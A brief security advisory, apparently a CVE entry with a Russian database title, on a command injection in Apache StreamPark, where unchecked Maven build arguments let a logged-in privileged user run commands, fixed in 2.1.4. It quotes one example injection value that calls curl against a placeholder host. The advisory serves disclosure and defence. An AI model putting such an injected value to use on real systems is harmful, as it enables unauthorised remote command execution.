In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Background: In the "Project" module, the maven build args  “<” operator causes command injection. e.g : “< (curl  http://xxx.com )” will be executed as a command injection, Mitigation: all users should upgrade to 2.1.4,  The "<" operator will blocked。

Apache StreamPark: Unchecked maven build params could trigger remote command execution

Уязвимость модуля Project Module среды разработки и управления потоковыми приложениями Apache StreamPark, позволяющая нарушителю выполнить произвольные команды